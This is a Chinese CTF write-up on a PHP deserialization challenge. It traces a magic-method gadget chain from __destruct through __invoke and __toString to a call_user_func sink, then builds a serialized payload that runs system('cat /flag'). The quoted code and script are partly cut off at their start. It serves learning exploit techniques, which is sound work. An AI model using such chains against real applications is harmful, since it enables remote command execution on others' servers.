对方朝你扔过来一串代码(当然这次又是蹭的题只说过程和思路):
age,''); }}class AAA{ public $debug; public function __invoke(){ echo $this->debug; } public function __toString(){ return $this->debug; }}class B{ public $func; public $arg; public function backdoor(){ call_user_func($this->func,$this->arg.""); }}class BBB{ public $kkk; public $lll; public function __toString(){ $this->kkk->backdoor(); return "ok"; }}if(isset($_GET['a'])){ unserialize($_GET['a']);}
好的,一眼又是我们的php反序列化,开审之前我们先复习复习我们的php中的魔术方法,建议先去看一遍我先前的一篇文章:
shutTD的CTF之旅WEB篇(2)--NewStarCTF 公开赛UnserializeOne详解_shutTD的博客-CSDN博客
好的复习完成,我们继续我们的反序列化,首先第一步找出我们的目标函数,也就是这个 call_user_func()函数,这个函数可以执行任意代码,详情使用的方法建议直接去查,在这我们的最终目的就是要执行到call_user_func('system','cat /flag') (至于为什么直接执行cat /flag,问就是经验哈哈,不过还是可以通过ls等命令查看找出flag的位置)
在A类中发现__destruct(),所以这就是我们的入口,因此我们第一步实例化一个A的对象:
$res = new A();
跟进__destruct():
public function __destruct(){ call_user_func($this->age,''); }
call_user_func($this->age,'')即执行age类的某个方法,所以我们很自然的想到__invoke()方法,所以我们在AAA类中发现该方法,因此我们的第二步就是:
$res->age = new AAA();
跟进__invoke():
public function __invoke(){ echo $this->debug; }
看到echo我们直接想到能够触发__toString()方法,所以我们在BBB类中发现有__toString()方法,因此我们第三步就是:
$res->age->debug = new BBB();
跟进__toString():
public function __toString(){ $this->kkk->backdoor(); return "ok"; }
发现调用了kkk属性的backdoor()方法,我们搜索一下哪个类中有此方法,在B类中我们发现此方法且刚好我们的目标函数就在这其中,马上就快到终点了,所以我们第四步就是:
$res->age->debug->kkk = new B();
因为我们需要达到call_user_func('system','cat /flag'),所以我们的类B中属性应为:
class B{ public $func = 'system'; public $arg = 'cat /flag'; public function backdoor(){ call_user_func($this->func,$this->arg.""); }}
好的大功告成,开始编写脚本:
age=new AAA();$res->age->debug=new BBB();$res->age->debug->kkk=new B();echo serialize($res);
直接参数a等于序列化字符get提交即可获取flag啦!
总的来说这道题思路还是很清晰的,是算偏易的题了不过新手拿来练手还是可以的逻辑很清晰,建议看完这篇文章后自己再试着做一遍哦!